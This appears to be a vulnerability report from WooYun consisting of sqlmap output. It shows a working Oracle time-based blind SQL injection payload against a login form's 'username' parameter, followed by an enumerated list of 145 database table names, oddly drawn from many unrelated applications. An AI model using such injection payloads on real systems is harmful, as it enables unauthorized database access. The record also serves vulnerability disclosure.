WooYun.org

sqlmap identified the following injection points with a total of 119 HTTP(s) requests:
---
Parameter: username (POST)
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: username=asdasd' AND 5666=DBMS_PIPE.RECEIVE_MESSAGE(CHR(109)||CHR(119)||CHR(115)||CHR(120),5) AND 'MKRx'='MKRx&login=&password=asdasd
---
back-end DBMS: Oracle
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
back-end DBMS: Oracle
Current database
[145 tables]
+------------------------------+
| DOMAIN |
| TABLE |
| USER |
| ARTICOLI |
| COURSE |
| CUST_HIST |
| CHEMLIST |
| DEPARTMENT |
| DIM_TYPE |
| DSOBJECT_TABLE |
| DWE_WORKFLOW_DOCUMENTS |
| D_FORMAT |
| D_PR_PARCELAMENTO |
| ETHNICGROUP |
| EXTERNALIDENTIFIER |
| FLIGHT |
| GROUTEDETAIL |
| LINK_TABLE |
| M_RELATORIOS |
| METADATAVALUE |
| PS_DMK |
| PRODUCT |
| QRTZ_CALENDARS |
| QRTZ_TRIGGER_LISTENERS |
| REORDER |
| STUDENTS |
| THOT_THEME |
| USER_GROUP |
| USERFIELDSINFO |
| USERS |
| VENUE |
| ACC_TRANS |
| ADMIN_USERINFO |
| ALARMS |
| ARCHTYPES |
| ASSEMBLY |
| BASEPLUSCOMMISSIONEMPLOYEES |
| BKP_RS_CLUSTERS |
| BKP_RS_SERVERS |
| BOOKS |
| CDB_ADVERTISEMENTS |
| CDV_PASSPORT_SET |
| CDV_REASON |
| CMDIGITALASSET |
| CMEVENT |
| CMSERVICEBINDING |
| COMMAND |
| COPYRIGHTS |
| CURSOS |
| CV_CROPS |
| DCERPCREQUESTS |
| DESPESA_ALUNO |
| DETAIL_TABLE |
| DEVELOPERS |
| DG_BOOKS |
| DIV_POLY_TYPE |
| DTB_TEMPLATES |
| EMAILINFO |
| F_ATTRIBUTEDEFINITION |
| F_SEQUENCE |
| FILM |
| FOREIGNTEST |
| FORUM_POST |
| GEO_RIVER |
| GEO_SEA |
| GRANDCHILD_TEST |
| GRAU_ESCOLARIDADE |
| GUAVA_ROLE_ASSIGNMENTS |
| HELP_RELATION |
| HITCOUNTER |
| HSA_USER |
| IDENTIFICATION |
| IDIOMAXEGRESADO |
| INSERTIDS |
| INTERACTIONS |
| JOS_BANNERCLIENT |
| JOS_COMPONENTS |
| JOS_CORE_ACL_ARO |
| JOS_POLL_MENU |
| JOS_VM_AUTH_USER_GROUP |
| JOS_VM_CATEGORY_XREF |
| JOS_VM_MANUFACTURER_CATEGORY |
| JOS_VM_MODULE |
| JOS_VM_PRODUCT_PRICE |
| JOS_VM_SHIPPING_CARRIER |
| JOS_VM_SHIPPING_RATE |
| KATEGORIE |
| KAUF_ARTIKEL |
| KURS |
| LOCUS_DATA |
| M_DATA |
| MAIL |
| MAKEMODEL |
| MAPDATA |
| MASSENMAIL |
| MEMBERSHIP |
| MESSAGE_STATUSES |
| MIMA |
| MITGLIEDER |
| MUSIC_GE |
| NOTIZEN |
| NUKE_BBWORDS |
| NUKE_JOURNAL_STATS |
| NUKE_SESSION |
| OSC_PRODUCTS |
| OSC_SPECIALS |
| PAY |
| PAYMENT_QENTA |
| PHPBB_VOTE_DESC |
| PMA_TRACKING |
| PRESENCE |
| PROBLEM |
| PROMOTION |
| PUBLICUSERS |
| REGISTERATION |
| REGLEMENT |
| REQUEST |
| RIVER |
| ROADS_ENDPOINTS |
| SBRECIPROCAL_CATS |
| SPT_DATATYPE_INFO |
| SPT_DATATYPE_INFO_EXT |
| STORE1 |
| SYSMAPS_HOSTS |
| TB_ACCOUNTS |
| TBL_STATE |
| TBLBLOGSEARCHSTATS |
| TBLUSER |
| TELEPHONE |
| TRANSACTIONS |
| TT_ADDRESS |
| TYPEFACTURE |
| TYPEPRODUIT |
| UNIQUETEST |
| UPLOADS |
| USER_UPLOADS_PICTURES |
| VALHALLA |
| VCD_COVERS |
| VCD_PORNSTARS |
| VCD_SESSIONS |
| VCD_USERROLES |
| VORAUSSETZEN |
| VRLS_LISTING_IMAGES |
| ZL_BAOMING |
| ZOPH_PEOPLE |
+------------------------------+